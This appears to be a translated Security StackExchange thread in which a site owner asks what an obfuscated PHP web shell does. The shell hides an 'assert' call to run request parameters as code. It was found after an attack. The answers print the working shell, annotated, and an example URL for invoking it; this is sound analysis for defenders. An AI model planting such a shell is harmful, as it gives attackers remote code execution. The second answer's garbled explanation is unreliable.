¿Qué hace este código PHP sospechoso? [duplicar]

18

Estoy limpiando un sitio web después de un ataque que resultó en la carga de muchos PHP shells. He encontrado y eliminado el siguiente código:

if(isset($_REQUEST['e'])) { $b="ass"."ert";$a=$b($_REQUEST['e']);${'a'}; }

¿Podría decirme lo que hace? ¿Cómo conduce ${'a'} a la ejecución del código? ¿El código inyectado es enviado por solicitud POST?

    
pregunta user136206 13.01.2017 - 00:06
fuente

2 respuestas

45

Es un shell web ofuscado que permite la ejecución remota de código.

El script alimenta $_REQUEST['e'] en la función assert() . Eso evalúa el parámetro de solicitud e como PHP. Úsalo así:

http://example.com/shell.php?e=phpinfo()

assert() es una función de depuración para evaluar aserciones. Pero si lo alimenta con una cadena arbitraria, se ejecutará como una expresión PHP. Es una forma elegante de evitar eval() para evitar la detección de malware.

Aquí está el fragmento formateado y comentado:

<?php
// Make sure request parameter e is provided
if(isset($_REQUEST['e'])) {
    // Complicate static analysis by assembling "assert" from multiple strings
    $b = "ass"."ert";
    // Evaluate assertion (yes, in PHP you can "call" a string as function name)
    $a = $b($_REQUEST['e']);
    // Junk. The assertion has already run, this doesn't do anything
    ${'a'};
}
?>
  

¿Cómo conduce ${'a'} a la ejecución del código?

No lo hace. $b($_REQUEST['e']) es donde se ejecuta la aserción. El código funciona sin ${'a'} .

  

¿El código inyectado es enviado por solicitud POST?

$_REQUEST permite que el parámetro se envíe a través de GET y POST .

    
respondido por el Arminius 13.01.2017 - 00:26
fuente
6

Vamos a descomponerlo.

$b="ass"."ert"

Esto creará una variable 'b' con 'ass' concatenado con 'ert' para formar 'assert'.

$a=$b($_REQUEST['e']);

Dado que b = 'afirmar' esto se evaluará para afirmar () pasando lo que sea 'e' en la solicitud. Assert es una función que verificará si lo que se pasa es falso ( enlace ).

${'a'} 

Esto en realidad no hace nada. Es lo mismo que $ a.

Si el pirata informático pasa algo como 'e' en la solicitud al solicitar la página yourdomain.com/thephpfile.php?e=1%3D2, el navegador convertirá% 3D en el signo '=' y e será '1 = 2'.

Vamos a ponerlo juntos.

$ {'assert (1 = 2)'}

Esto devolverá 1 porque está afirmando que el resultado es falso.

Esto se puede usar para verificar las variables en tu página php verificando si una variable es igual a lo que pasan.

Hazme saber si necesitas una aclaración.

    
respondido por el MikeSchem 13.01.2017 - 00:35
fuente

Lea otras preguntas en las etiquetas